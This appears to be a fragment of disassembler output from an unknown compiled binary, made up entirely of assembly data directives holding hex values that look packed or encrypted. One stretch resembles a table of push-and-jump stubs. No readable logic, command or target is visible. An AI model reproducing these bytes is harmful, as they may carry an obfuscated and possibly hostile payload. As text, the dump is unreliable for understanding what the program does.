		dd 0CE8531F1h, 47FEA291h, 0DB000000h, 0E6F9CF38h, 458425C1h
		dd 229B6E67h, 63032062h, 1AF5C362h, 0AAF7157Bh,	0B2D61FEAh
		dd 5313AFD6h, 0B4F09FF6h, 0A41CADA4h, 0B6084225h, 9F34A1A2h
		dd 69B96DBDh, 1837AE98h, 0A2C2D1B9h, 82772FA1h,	9452h
		dd 0E0056900h, 0DCFBBB3Ah, 0DEFBBB3Ah, 0DCF9BD3Ch, 76AD2C3Eh
		dd 0BCA7A185h, 2A63F199h, 0DEAB4B68h, 0B0957115h, 0B332D8F2h
		dd 0F6C904F1h, 0ADA72BFAh, 0B5F364Dh, 0F5A1A433h, 6CD4B84Dh
		dd 17AFD5C9h, 0C8EFA762h, 597E3C2Eh, 9902DBDh, 0E29F22C1h
		dd 459FBh, 2FCFE800h, 0BF5B7F3Dh, 4DE90FADh, 0DF7F99DFh
		dd 6E082F4Dh, 0CB90E8FCh, 5A180AACh, 0F6B4A63Ch, 832133CFh
		dd 0C56C466h, 5428BE11h, 86D6A1A9h, 38DE052Dh, 0C971942Ah
		dd 6816366Ch, 0B0423769h, 2EC362CBh, 87D3B288h,	71A7A10Bh
		dd 3A63E0C1h, 4AF00AC8h, 38E207BFh, 3AE005B9h, 0AC26B328h
		dd 47A7A200h, 0A7A1000Fh, 51F4D2B6h, 0AACEBF7Eh, 5859D9ADh
		dd 4C6C267Dh, 0CD97C3A2h, 0B161A1A8h, 9F7B1FC4h, 6EE21BBAh
		dd 7C8FA3DAh, 50735289h, 0E4ABAD02h, 301BAC3Ch,	69E828C8h
		dd 3B96Eh, 0CF6F8800h, 5FFB1F5Dh, 0ED89AFCDh, 7F1F397Fh
		dd 0EA8CFEDh, 6BF0081Ch, 0FAB8AA4Ch, 96D446DCh,	2341D36Fh
		dd 0ACF66406h, 55481E71h, 0E6B6A1A9h, 3AE0058Dh, 4269CBBh
		dd 50256766h, 3613B7D2h, 802EB81Bh, 6828A7A1h, 4642719Dh
		dd 33F2CD68h, 45ADA490h, 425D78DDh, 0A1A29114h,	2C4732E2h
		dd 0C793F209h, 78A1A291h, 0A2917119h, 7B178FA1h, 1F57CEBBh
		dd 23A1A291h, 0AC5E886Ch, 0AE9892h, 34B7E861h, 0A26C0D5Dh
		dd 6A4BCBA1h, 0F782D50Dh, 394Dh, 10745600h, 11BC1732h
		dd 33ADA491h, 288BA683h, 0A1A292BEh, 522DD858h,	0A292BB33h
		dd 6CC887A1h, 2ED0E8AAh, 0E518EDAFh, 0AE988D31h, 0EFAAh
		dd 0F376F00h, 0F7B75771h, 0C3629902h, 0AFA924AFh, 5DD1A4BAh
		dd 53139238h, 0CA9CF734h, 34A7A189h, 89CDCC8Ch,	8FCFCE6Ch
		dd 3F52C06Ah, 0A7A18CE0h, 67812742h, 0C686C6C7h, 7B5A7154h
		dd 0A7A18E6Fh, 0E65C29E9h, 83A627C3h, 4140E203h, 8E5F0B6Ah
		dd 0F9B9A7A1h, 3874C39h, 0B8A30227h, 5CADA4AAh,	454176E4h
		dd 0EDAD516Bh, 55712D48h, 0D41C0B5h, 0EBABA403h, 977AC1CAh
		dd 0BD7D1638h, 59FD1A98h, 98EB5CBh, 14532379h, 8919D9B3h
		dd 28C3A708h, 5F435A17h, 0E2000002h, 713725C9h,	1A7B555h
		dd 93D143E3h, 2147D579h, 0E6F66402h, 0A6CD96h, 9C365C12h
		dd 29C9E88Eh, 0BA60853Bh, 0B40F16A8h, 0A1A95622h, 5378CDCh
		dd 0B9DAD9DEh, 9B3405Eh, 0C0C2DB49h, 0BD7104A6h, 0F81F9798h
		dd 0A92BBF5Eh, 6DD5A7A1h, 0C79EBFADh, 267050FCh, 61DAAF27h
		dd 7668C362h, 77E5FEECh, 0EAEB93B5h, 7216DFAAh,	0B3DEB194h
		dd 14ADA447h, 25D07E9Eh, 9FFEFFA7h, 0A1A267D7h,	16D034EBh
		dd 0AE97B864h, 0ECDDh, 29DB800h, 0A1A27354h, 9607F2A2h
		dd 0BB3AE005h, 0BB3ADCFBh, 0A185C5D8h, 6E0C29A7h, 0FD9BBEFCh
		dd 1F5DFD4h, 94F4BB5Bh,	0D393D5D4h, 0CBA5E1D2h,	4AF015ABh
		dd 8949094Bh, 0A30AD5ACh, 56CEADA4h, 0EDFDD4F3h, 6BA1A2AAh
		dd 0A3378EABh, 5DA1A2AAh, 0DDC210E5h, 0B1D9B8B9h, 4FA1A2AAh
		dd 0AA87D3B2h, 0C171A1A2h, 4DE44101h, 0E71F6B45h, 8E4530BBh
		dd 0A46E1437h, 0F3569ABh, 960E8277h, 35D9F3B3h,	0EA098540h
		dd 0A0FFDE4Ch, 32E0AE01h, 0D1B0D4B7h, 0ABA9C789h, 783ACF77h
		dd 0B02BBB5Bh, 7F28C39Dh, 1309B82h, 0F8130000h,	84A6C456h
		dd 123674E6h, 0A8C0E674h, 31561406h, 67B78795h,	2331D5F2h
		dd 5FCD658Dh, 0C85AF819h, 79EB8FAAh, 0F3E7FE27h, 0DA1A958h
		dd 2062067Dh, 22626303h, 1EB8DF57h, 0AF4B6E0Ch,	0FB1A98BDh
		dd 53266667h, 6C4762EAh, 0A7A1807Ah, 0D9BD1C84h, 805A037Ch
		dd 193CF683h, 26B9D471h, 0A7A1FCB0h, 0B8373483h, 1AF61DDDh
		dd 0B194EF9Ah, 0BF3ED4FDh, 8FAA08FDh, 68FF600Ah, 9A58A7E3h
		dd 0A6E6E77Bh, 434774E6h, 24E3C267h, 39ADAA32h,	0CEBB6385h
		dd 0FCDBDA5Ah, 7104A2C6h, 60F298BDh, 2832742h, 21A90827h
		dd 12A1A8C9h, 0E03A7E96h, 9D05E9BEh, 563C69E8h,	7883D786h
		dd 78791D3Ah, 0D4821D38h, 22885658h, 6ECE8772h,	1604A6C3h
		dd 0BD597F37h, 35897C3Ch, 0B0CF6A10h, 565889D1h, 0A5CD7788h
		dd 0CCC8C0Dh, 63230679h, 5ED4A145h, 7411903Eh, 3F5AC527h
		dd 0CEEB899Bh, 58607649h, 269E8856h, 5836A003h,	50C08856h
		dd 79EB590h, 88565853h,	6100F5ADh, 1576h, 44617D00h, 27B31229h
		dd 0D1A7A180h, 80D68061h, 7020A7A1h, 0E2051085h, 0DCF9BD3Ch
		dd 0D6FFBF3Eh, 0D9F9BD3Ch, 2 dup(0DDFAB839h), 0E2FAB839h
		dd 0DBF9BD3Ch, 0DEF8BA3Bh, 52FABD3Ch, 0C281E289h, 4, 5204EA83h
		dd 42474FFh, 24048F5Ah,	3167685Ch, 4890000h, 550E6824h
		dd 14890000h, 52685124h, 591C2513h, 0BA4AB850h,	0C101E9E3h
		dd 59C88958h, 430B68h, 24248900h, 4240481h, 5A000000h
		dd 7FE968h, 24048900h, 8B08428Fh, 89512414h, 4C181E1h
		dd 83000000h, 0C8704C1h, 34FF5C24h, 0C4835824h,	687EE904h
		dd 0ACE0FFFBh, 6BB8B7A4h, 30608D9h, 34E0FFC5h, 29407020h
		dd 0A631647Ch, 0B12866B2h, 1C3C89DAh, 0DE7FD7B0h, 0D079B9D3h
		dd 0E06D1EC3h, 0D8556F49h, 7775CC01h, 3C7B84B6h, 380AF502h
		dd 0D559D655h, 1C2D2A34h, 0C2452984h, 9B2EF6CFh, 384ECBA4h
		dd 0AA2FCA12h, 8D5C024Bh, 8DAEB8Dh, 0DD858B06h,	8906032Eh
		dd 331D18Dh, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 6B18FE80h, 6020C2EBh, 858BB1B9h
		dd 60311E1h, 2AB59523h,	85C70603h, 60301E1h, 5DC8h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 12C35343h, 0ED3F4923h
		dd 0B86668B2h, 85C72C7Fh, 60321BDh, 0
		dd 26B18D89h, 0B5FF0603h, 60323C5h, 2109B58Bh, 95FF0603h
		dd 6032691h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0E6C35343h, 95FF006Ah, 6031FB9h, 39EBC08Bh, 0B53E6D6Ah
		dd 2C977456h, 13F33D42h, 9D282A56h, 5F2067B6h, 1D1FCD2Eh
		dd 0A89D52C2h, 72A31798h, 4B396DE7h, 72887CCEh,	0D36A626Eh
		dd 0D6378125h, 0C9889955h, 0C23544F7h, 0ABE9FAh, 8D500000h
		dd 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh, 0A1F44592h, 0DA00B395h
		dd 20A7ECABh, 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h
		dd 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h
		dd 95ACA3F2h, 97B1EF76h, 0B4F94E00h, 5C009FA5h,	4AF07B6Bh
		dd 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh
		dd 0D77D41h, 0BF9792B0h, 60FD756Bh, 0F996BFCFh,	20B293BCh
		dd 9B57207Dh, 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh
		dd 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0A601E800h
		dd 323D94E7h, 31048C83h, 1355E911h, 80680000h, 0E90608DDh
		dd 0FFFAA17Dh, 8DE8E68h, 0A173E906h, 9668FFFAh,	0E90608DFh
		dd 0FFFAA169h, 8E0E568h, 0A15FE906h, 6768FFFAh,	0E90608E1h
		dd 0FFFAA155h, 8E23168h, 0A14BE906h, 0FA68FFFAh, 0E90608E2h
		dd 0FFFAA141h, 8E3B268h, 0A137E906h, 5F68FFFAh,	0E90608E4h
		dd 0FFFAA12Dh, 8E5DA68h, 0A123E906h, 168FFFAh, 0E90608E7h
		dd 0FFFAA119h, 8E86A68h, 0A10FE906h, 0C668FFFAh, 0E90608E9h
		dd 0FFFAA105h, 8EBAE68h, 0A0FBE906h, 0B768FFFAh, 0E90608ECh
		dd 0FFFAA0F1h, 563ABB5Eh, 0DB8932C3h, 751BA076h, 0E5EB0CE0h
		dd 167A7F10h, 6435619Ch, 0D4A4095Fh, 4A28BDD3h,	0B75E23A1h
		dd 87035236h, 6142AA3h,	5E69671h, 2AA2432Ah, 8C61AB6Ch
		dd 0B2342F00h, 0F74DD8E1h, 96FAFB92h, 7630AED9h, 11F0FCD2h
		dd 0BD2FBA75h, 0BD1F895h, 0C4083471h, 6A2EC8DCh, 278793h
		dd 1300000h, 67618A6Ch,	4E398662h, 80321650h, 0FE7511FFh
		dd 3CD9616Bh, 0C8710BDFh, 0C100054h, 0CB936A41h, 0C2h
		dd 0A2432A74h, 93906104h, 0F792FAFBh, 8F656068h, 747D12FFh
		dd 0C1E68914h, 0C25BEFA9h, 3E770EF0h, 0AE5324ABh, 0BDCDAB3Eh
		dd 0B3403DD0h, 1D2DA30Eh, 770EEE07h, 1CF9A649h,	0F1440897h
		dd 6F94611Eh, 0CB9D687Dh, 97D3D1BCh, 11FF29B3h,	0FA9D7075h
		dd 0B3267FF5h, 0C9E792DDh, 0D24CEEB1h, 0C0FCA1ADh, 13A48D0Dh
		dd 5AD674B5h, 11FE0C1Ch, 0E97C6F09h, 565B3CD1h,	21CAAF32h
		dd 0D643358Eh, 9C4A4E6h, 10FFh,	0A226C7AAh, 0D7B53EDFh
		dd 4107AC42h, 0F19718FCh, 62668B6Ch, 70015580h,	0E0B0054Bh
		dd 562489DFh, 0C3AA3FADh, 9317AE22h, 6141EB7h, 11D26271h
		dd 28BC452Ah, 5F0DB245h, 4B6C0CE1h, 6C0176EDh, 0F0F99E8Bh
		dd 6666CD98h, 4F3A8563h, 7F311951h, 9A7511FFh, 5A2137F9h
		dd 3DBB8510h, 7F3971E4h, 72EC65C5h, 8550710Bh, 0B730A83h
		dd 0DEE37671h, 0A0DF05F2h, 1D6DCBB3h, 0B4658F5h, 2468D471h
		dd 69A8283Ch, 0F12793h,	2A500000h, 6C2AA243h, 0F0FD96B2h
		dd 424770Eh, 770EF08Bh,	0BC2B6AF1h, 27CCADC0h, 0EF14FA8Bh
		dd 0BBD17911h, 35770EEDh, 0BA0F5D62h, 0FCBAD2D3h, 9D71345Bh
		dd 0A503B868h, 0E6896F1Ah, 77C287C1h, 0AE85EF3Bh, 2CBB7511h
		dd 0B5840FB8h, 0BACFC95h, 0E954071h, 47BBD870h,	52396F09h
		dd 0D1A07114h, 846AA907h, 34582744h, 9314FB8Ah,	0D09F7015h
		dd 14E196F2h, 2C1DCAEFh, 0FAEC1ACh, 0D2E6D6B3h,	0FF1273Ah
		dd 0D5A40000h, 4C29BCD0h, 0BA5C21A7h, 26CE5331h, 997EC381h
		dd 47F67C10h, 17757E13h, 9BC9EE82h, 95F6436h, 0B82CD1A4h
		dd 1089A119h, 6C710613h, 47011FDCh, 0EF06AE3h, 0F3F89A77h
		dd 0FED5CC99h, 0B309941Dh, 0AB4839DEh, 45FFBB06h, 0A12BCCA0h
		dd 0F06BE424h, 0AD1770Eh, 0A077DAAEh, 0F0E37CCCh, 0B259770Eh
		dd 0F0BB54F4h, 5A01770Eh, 2ADA99CFh, 30B95A43h,	846C0D58h
		dd 0FF08ED1Ch, 2B4D4A3h, 63658E63h, 648D6366h, 0E68B6164h
		dd 797E160Fh, 856BFE92h, 0EE816C7Ch, 0FBF29BC9h, 0C8E6048Fh
		dd 0C7DB6617h, 9B11A8CAh, 0B7974DDDh, 46157511h, 0FD9E6F2Bh
		dd 0B9F194F4h, 0B73F891h, 1B914471h, 85A29533h,	0EC0A759Dh
		dd 0D44876D2h, 3CD18388h, 57325A5Fh, 195F8D9h, 12F9ECFCh
		dd 0A4424D7Ah, 0DCBD500Ah, 54D0B5D7h, 82612374h, 0B4F2997Dh
		dd 2BB93ED1h, 7BC4AF46h, 30FC6CD7h, 584160CFh, 79175C50h
		dd 0EE97C91h, 0DDBC0000h, 5421B4D8h, 0C25439AFh, 2EC6AB39h
		dd 0A176DB89h, 3FFE7418h, 6F7D866Bh, 93F1F69Ah,	1476C0Eh
		dd 0B0D4D9BCh, 881A9E1h, 74710612h, 432A27C4h, 0F29D2AA2h
		dd 906EBAF4h, 0AE7511FEh, 6F1A553Bh, 0B113971h,	296F0EFEh
		dd 85022AA2h, 0BF770EBDh, 28B5D7D8h, 5825A748h,	335636BBh
		dd 0F1419549h, 4A2E72AEh, 996D1F32h, 0F1FA9C71h, 6476F297h
		dd 62h,	9F85F097h, 0CD98F0F9h, 0FF8E4866h, 92F7911Ah, 0F0DB74D4h
		dd 0BA21770Eh, 0AB5DEE3Eh, 0D7D37511h, 0BA3DA73h, 24B32671h
		dd 4319FB8Ah, 0BA36EE7h, 0B807D271h, 0A38904D4h, 0D4BB710Bh
		dd 1EF697D3h, 8E62CF99h, 9F6A7F69h, 1AF84D21h, 201AF791h
		dd 5C00000Eh, 89C3E889h, 0EF1E8216h, 0A934C2BFh, 85F050D3h
		dd 6AF1FA9Fh, 0D7DCB94Ch, 1A54D0B5h, 982A660h, 77770EF1h
		dd 622404E0h, 0D8750736h, 0CA8227F5h, 9776309Fh, 2FE9FF00h
		dd 153CD575h, 0D5807106h, 42630A5Fh, 94127D0Ah,	5AAF4EDAh
		dd 87666EFEh, 0D91203F2h, 65E04693h, 1D9BCE9Eh,	0E3069B04h
		dd 234C886Fh, 0A44B1A54h, 15F84D03h, 0C4CFF890h, 92A08826h
		dd 751126h, 0B8871A55h,	0B25AE0D3h, 0D9A5Fh, 8B2CCF00h
		dd 1EA370C5h, 0E811E74Ah, 787D11E4h, 0CBF08114h, 0BAF02F85h
		dd 0D5B82CD5h, 592CA045h, 0CF5236BBh, 0B0C18728h, 10B952F6h
		dd 75077106h, 0F0F26FF6h, 0ADD8770Eh, 10D7730Fh, 0B0750735h
		dd 1AF88D25h, 1692F791h, 0DDE2B558h, 0C65FEBA5h, 3A710615h
		dd 28BDD1AFh, 37B85845h, 90F51362h, 0E9746F5Dh,	3FBDC8FFh
		dd 0E70CE283h, 4A04E0E5h, 92200FEh, 8AB3E6Fh, 0E6DBB38Bh
		dd 185BB656h, 4D00000Dh, 0F65B09AEh, 65C89C25h,	977A6E93h
		dd 7EAFEFFh, 0A91B4972h, 5257386Eh, 26C7AB3Eh, 0B43DDFA2h
		dd 5AA4DD0h, 0D0783E47h, 71060F37h, 2A70F385h, 472AA243h
		dd 0C85D0FB0h, 37B85F2Eh, 80B43055h, 0B85C315Ch, 728AB937h
		dd 31996D4Eh, 0B937B85Ch, 73DA3h, 85F0DC00h, 0B8884B67h
		dd 52533B40h, 0AF841C0Dh, 0DD5B26C7h, 0B74B87A3h, 6C357506h
		dd 1E1DD894h, 29947B0Eh, 0DBDD6237h, 9479319Ch,	0F8EDFF00h
		dd 0FC0195h, 0FCD0A746h, 6AFB32Ch, 0F7420971h, 0DD6D2791h
		dd 7106AF44h, 32572DB8h, 0EA325A5Bh, 7106AF6Dh,	0FAB4325Dh
		dd 0AF6FE840h, 1ECD7106h, 6644E4A2h, 0D46F09BDh, 2E676E01h
		dd 0D2BAE6DBh, 0C4E3Fh,	77781B00h, 0CAEF8C11h, 545D3386h
		dd 24C9AD30h, 0B73CDDA0h, 0F6A453D1h, 61F49821h, 95786C91h
		dd 1BEEE207h, 441D7374h, 0E6DE642h, 21D37106h, 0A2432A42h
		dd 8D5304h, 195E52E4h, 0B84DCBA3h, 0D0B5D7D8h, 595E3154h
		dd 0AAF4C21h, 0D54BDEAEh, 0FD8D9781h, 6F4A996Ch, 0F5000006h
		dd 64896C01h, 0F023A088h, 7C07770Eh, 7CCBF086h,	35EAE642h
		dd 79337507h, 61538D1h,	4C298471h, 0D5A025A7h
		dd 0D793465Fh, 205E5F36h, 420AAF4Dh, 5BC5A907h,	161089A1h
		dd 0F96C7106h, 9E876E03h, 0F297F1F6h, 37426567h, 4B2901B9h
		dd 8E6F0923h, 28DB74D4h, 0BA217703h, 33BAE73Eh,	0CF8E5043h
		dd 0DA275E25h, 7FE6DB40h, 0B8572EFh, 41D00000h,	0B84528BCh
		dd 26C85D33h, 927ACF9Dh, 5EA7F6Dh, 0DB1AE8FCh, 83C1EA8Fh
		dd 37555A3Eh, 0A52BD0A2h, 0D4B83DD0h, 0A43D0D8Dh, 1871060Eh
		dd 432A8B68h, 996C2AA2h, 41660AF7h, 0A2F792FAh,	2F511A50h
		dd 99EC483Ah, 8D0622F6h, 0F3770EEFh, 5ACF9964h,	9EA6B2E6h
		dd 59996D4Dh, 5A2h, 56387C1Fh, 76580259h, 0E4D39D2h, 45D08777h
		dd 85F074EFh, 0CAFF4B67h, 46750735h, 0C704D793h, 0FB49209Fh
		dd 17717A18h, 4F09E772h, 0B2D6D7BEh, 25A7482Fh,	6CC801Dh
		dd 4B1F6A71h, 2EC141F2h, 6D06E889h, 80A8C6ADh, 6F0920A2h
		dd 4FAAC590h, 12E6DBB1h, 0ACDE77Ah, 0F9980000h,	700D90F4h
		dd 0DEB0054Bh, 4A22B7D5h, 0BD5227A5h, 23D25034h, 4B19A277h
		dd 0FFED12E6h, 6D63886Ah, 9CF0F598h, 0EC65C5C5h, 5071060Dh
		dd 432AC3A0h, 0B0472AA2h, 369D26F7h, 3A2BA778h,	7C1DA648h
		dd 38B4CA15h, 1347F550h, 6C9CFF05h, 4F4F899h, 6F7B0000h
		dd 770EF0F5h, 7A34B2DDh, 0AB502DC0h, 0E0C8A421h, 75073576h
		dd 0A67931A4h, 5F27334Ah, 6E2884B4h, 0D43DF89Fh, 66D4B5EEh
		dd 6EE7437Fh, 0D271061Ch, 41D4B807h, 0D95F09AEh, 0E4BE8706h
		dd 10ECEFCDh, 0A0DEDCA7h, 92A0288h, 0BAF5606Fh,	0E6DBBB51h
		dd 208D4028h, 7500000Ah, 0FE4301A6h, 6DF0941Dh,	9F62668Bh
		dd 0F92F6F7h, 0A103416Ah, 0AA4F2076h, 3EBF5326h, 8C35C7AAh
		dd 1DA275D8h, 0D870364Fh, 71060C3Fh, 2A680BBDh,	6104A243h
		dd 6B7E6E93h, 7C6C9164h, 16FB9369h, 836E7E7Fh, 329FC9F2h
		dd 88315B60h, 8DD660B4h, 640B4397h, 0DD6D2743h,	770EF044h
		dd 33572DB8h, 6D51ECF0h, 3ED6B799h, 3EBA2FB9h, 17BDCh
		dd 27CB9A00h, 2AA92A86h, 472AA243h, 8223F7B0h, 8B0B55CAh
		dd 5C611566h, 49666AF1h, 31BA583Eh, 0BA73257h, 11A6693Fh
		dd 0D8B02775h, 0BA69330h, 34D99171h, 590C5C61h,	0AD8BDFE3h
		dd 936A0497h, 102C4B0Ch, 282D195h, 7CF8476Ch, 4C1Eh, 0C3A25C00h
		dd 8818B2Ch, 74710B73h,	0E90EE2E1h, 950EEAFFh, 0FE9F85F0h
		dd 6BF693F5h, 0D6D7BE4Fh, 7A0C1C5Ah, 977511FFh,	0DE9821F6h
		dd 0BDFD14Ah, 3CB82F71h, 0C6E78EE5h, 4CC9117Bh,	0D8710BDFh
		dd 1C203064h, 0DB936A41h, 0B5h,	0A2432A64h, 4AC35304h
		dd 0F40175A2h, 0EC8D1078h, 553885C7h, 0C2553850h, 757E1FEEh
		dd 0BD567613h, 3770DF4h, 0EEB1C954h, 456B800Eh,	8E636652h
		dd 53FB8F65h, 770EB8ADh, 38F7996Ch, 0ECF57A74h,	6068F772h
		dd 13FA8F65h, 0C6B1FE92h, 1DFF8E28h, 0CA5E1894h, 750C82DBh
		dd 5E88655h, 0B4194F74h, 74A7DEE3h, 19E0D5D8h, 8A59C71h
		dd 21F00000h, 9865C89Ch, 6E87D13h, 721AEFFDh, 0E58A1F4Dh
		dd 0FB3A88DCh, 0A321CAAFh, 0D7B53ADEh, 450BB042h, 0F4981DF0h
		dd 0C45DEDADh, 3871060Bh, 452AEB88h, 8D6302BCh,	0BCD2FFAEh
		dd 8510AAB9h, 462A86C3h, 0F59B1CF3h, 9A5E018Eh,	58F1C7C4h
		dd 0D2E3653Ah, 0E154CE0Eh, 968F660Bh, 5911FC05h, 42128B9Fh
		dd 0FB6E770Eh, 0ED806D7Dh, 0AF4184C8h, 0FC000002h, 668B6C01h
		dd 0FF98B066h, 7D770EF0h, 1AA503EEh, 7F39716Fh,	0EF032ABh
		dd 5DDB8E77h, 0F73D0723h, 0B4237511h, 6FE840FAh, 81710BD6h
		dd 0C99CCCF1h, 0DF78D0D6h, 5D710BD6h, 0F69E238Eh, 4D585382h
		dd 0DD6505E3h, 710BAA40h, 140C50CCh, 936A0C10h,	21BCFh
		dd 3AD8AD00h, 0B851F9B1h, 4710BA6h, 6F58DB51h, 770EF0F7h
		dd 2BE5B4DFh, 0EF0861Fh, 3D6FFA77h, 770EF0A4h, 0C8E64D18h
		dd 735EC60h, 3BF2A75h, 4C6A8B62h, 1403AD8Bh, 7BF1F9AAh
		dd 0CAEB8217h, 1C9AE582h, 940C662h, 6D96F09h, 68D41457h
		dd 1C35B35Eh, 45F13649h, 0D8B0E6DBh, 77E05h, 0A7482B00h
		dd 3ABF5C21h, 842DC356h, 14997DC0h, 0E70CED70h,	86D403E1h
		dd 3184C8F1h, 0A5085C61h, 2BBED2D7h, 942DA344h,	99D3612h
		dd 51E37106h, 71432A92h, 0EF040D9h, 4229BC77h, 0FCD0A70Ah
		dd 0EF0B32Ch, 0F7420977h, 0DA0E3695h, 84C8ED80h, 6D52556Fh
		dd 1621299h, 2AAD0000h,	0DB25A43h, 29A30E5Bh, 0F0F99E6Fh
		dd 797E1174h, 0B3315C6Bh, 74ED3DF7h, 0C8770EF0h, 41E9A71Dh
		dd 7512008Bh, 0E20A4209h, 710BE065h, 3A297DA3h,	0E962C680h
		dd 57710BE0h, 0E10F8880h, 0FE6D710Bh, 3E2B3102h, 4C24936Ah
		dd 57000000h, 6AE34701h, 9A770EF0h, 0F297F1F6h,	1FA804D3h
		dd 0C6E78E74h, 59EB3F7Bh, 0D77511FFh, 23A04800h, 0DD710BDFh
		dd 4BD6B63Bh, 0F44C1CA5h, 1BAA1438h, 0DDE7F125h, 0C6936A40h
		dd 0FD3C6C15h, 308CD01Bh, 0B62Ah, 1BFD9000h, 2A991A96h
		dd 6C2AA243h, 0F0FD96B2h, 9443770Eh, 1FA47518h,	0E80DE04Dh
		dd 757A1DE0h, 0BE31C717h, 0EC8770Eh, 0E9EA13Ah,	0EC481F77h
		dd 93F1F699h, 0BAC4025h, 1FA80441h, 10387674h, 750C3A01h
		dd 540EA83Fh, 0F2158E9Ah, 0FC6B7108h, 678C6D00h, 2CD5BA4Bh
		dd 3F5329BCh, 0A61DE81h, 0F4DA242h, 5A7FAB34h, 5481B21h
		dd 91F47075h, 75B8FB00h, 48E0D598h, 615ADA0h, 0B1400000h
		dd 28F5580Ch, 9678CD83h, 2EA7F6Dh, 751AEFFDh, 6BAA184Ch
		dd 33515A3Fh, 0A725CAAEh, 0D5BB40D2h, 4408AD40h, 34AD7D3Dh
		dd 88710608h, 452A7BF8h, 0B24528BCh, 2A245F0Dh,	0DFB55A43h
		dd 0EF0D24Bh, 2CBB2E77h, 0D3BA0741h, 3F5BBED2h,	0DA000000h
		dd 4A2432Ah, 616B9061h,	1DE08864h, 11ABF7Ah, 0CFD5DC7Bh
		dd 0F9A16860h, 0C078A326h, 0D7AD0906h, 0BCCBFE3h, 0CF2F74C6h
		dd 0E58864B2h, 41FFED12h, 452BE49Eh, 572D2D8Ah,	3042h
		dd 6C01F100h, 60656788h, 230EE184h, 0DEED9384h,	6C0A9139h
		dd 0DEFD96B2h, 6A0F770Eh, 1D9B4E41h, 0DE27A54Dh, 0F824770Eh
		dd 2FB92D4h, 0EAFE456Ah, 5D5E01E9h, 0ECC33E7Ch,	0B4FF3DA0h
		dd 0CF34B4E3h, 9DC88029h, 40D7BA36h, 5B0DB647h,	6F29A30Eh
		dd 2AFC95B5h, 9540770Eh, 9E3115C4h, 8B61444Eh, 1753513Ch
		dd 6FF5133h, 46974875h,	3A44A7D4h, 0A53011EFh, 1680530Dh
		dd 4CBB979Ch, 6E0164C0h, 0BF5C3149h, 0B937523Ah, 8AD40D5h
		dd 5E5C2740h, 7D690820h, 10C76EFEh, 27E0B756h, 82C6AD56h
		dd 0CAAF583Fh, 75325A21h, 1D2EC0Ah, 53D3AC5Eh, 846C3222h
		dd 9F94D405h, 2EFAB430h, 75115F20h, 9BA8CB9Eh, 46E0D3F0h
		dd 4B9ABA6h, 0DEC0000h,	8411E4E8h, 0F284697Fh, 5E369BC9h
		dd 0D1A60B59h, 0FCEA428h, 5F0DB65Bh, 0C38126CAh, 71179C7Eh
		dd 0E0E409ECh, 0D871D9D1h, 24710607h, 432AD794h, 0B45B2EA2h
		dd 25DF5933h, 0EF08C05h, 8F65F077h, 0AC4113FAh,	6DE626CBh
		dd 0D3770EF0h, 7C2FB904h, 0A3442BBAh, 0FCC0BC29h, 0FEFF96A8h
		dd 0B6592CEAh, 3BC05231h, 526E76BDh, 5035996Dh,	3BAE3EC3h
		dd 4C5FBDh, 0F0D80000h,	0FF4B6785h, 7511AB4Eh, 0A15B17C2h
		dd 298728CCh, 5F0DB644h, 0BA4148Fh, 504D2071h, 38AC3BBCh
		dd 0CA56DD7Eh, 6AC34933h, 0DA946388h, 0B36D54Eh, 0C0BC2B71h
		dd 8CE0CFADh, 0C336EDCDh, 0A7BAD2B9h, 3FBh, 0A94A1Bh, 432A2FA4h
		dd 0B0472AA2h, 632E590Fh, 0D06A2D45h, 286E519Ah, 0D5753389h
		dd 7511ECFFh, 96BE2EBDh, 710BEDF9h, 943640Bh
		dd 0B9D3D4A4h, 0AEE83CF0h, 0E3F51907h, 936A4AD9h, 626C09CAh
		dd 1AB1F1D5h, 38BC9Eh, 13F0000h, 616B8C6Ch, 543F8864h
		dd 7E301856h, 0FC7511FFh, 3AD77F69h, 0F6710BDFh, 0A12064Ah
		dd 0C5936A41h, 102h, 8B5EE0B3h,	0DF5E6DFh, 0EB3CD575h
		dd 0D580710Bh, 432AE45Fh, 47E3B95Ah, 770EF0CEh,	0B0D8A732h
		dd 0B31E4ED5h, 5B3D5DEh, 926E9360h, 0DB9718FFh,	85F640Ah
		dd 84E44065h, 0C6A95639h, 28A18921h, 94770EF0h,	0C6167AC1h
		dd 770EEDD0h, 64A6B02h,	0B1DBDCB3h, 556D8BF6h, 0D049E19Bh
		dd 2C770EEDh, 0DDEBC3B9h, 5B75120Ah, 0B921F28Ch, 0A101E896h
		dd 0FEB8CCA8h, 4A31195Dh, 1D4800A9h, 162ABB7Ch,	9C18A173h
		dd 2C4A6813h, 97C071Ch,	0B2B1626Fh, 1FBDF07h, 1A9F7D10h
		dd 0B8991772h, 38DB952Dh, 6C9C4E0Bh, 0CCA11FD3h, 7FC2862Bh
		dd 0E75E119Ah, 0FAE6D6D6h, 2D1FF12h, 0F5840000h, 6C099CF0h
		dd 0DABC0147h, 462EB3D1h, 0B95E23A1h, 27D65C30h, 77159E73h
		dd 0FBE90EE2h, 697F8416h, 98CCF184h, 0F069C1F9h, 4C710605h
		dd 452A3FBCh, 0A10CB144h, 0C0A27523h, 0A17A1E5h, 585D3D50h
		dd 0C1E689DCh, 85F0D083h, 0D7914B67h, 4C5C6536h, 770EF0D3h
		dd 0E6C6A229h, 7511FF54h, 0A9631FCAh, 0BE00881h, 0BE17471h
		dd 0DF3EDB63h, 1EF6710Bh, 8D62CF99h, 457F6464h,	36BB5911h
		dd 1DA43356h, 0DDE6885Dh, 5E62DE8Bh, 41162E0Ah,	0BDD1936Ah
		dd 62000000h, 2AA2432Ah, 5F09B247h, 426734D9h, 0C9E15F0Ah
		dd 770EEDD3h, 17757A1Dh, 0ACCAEB82h, 0EDBD56F2h, 5403770Eh
		dd 8CF7B0D8h, 0DDBD506Eh, 5FD5B0D8h, 0AFB0921h,	58797512h
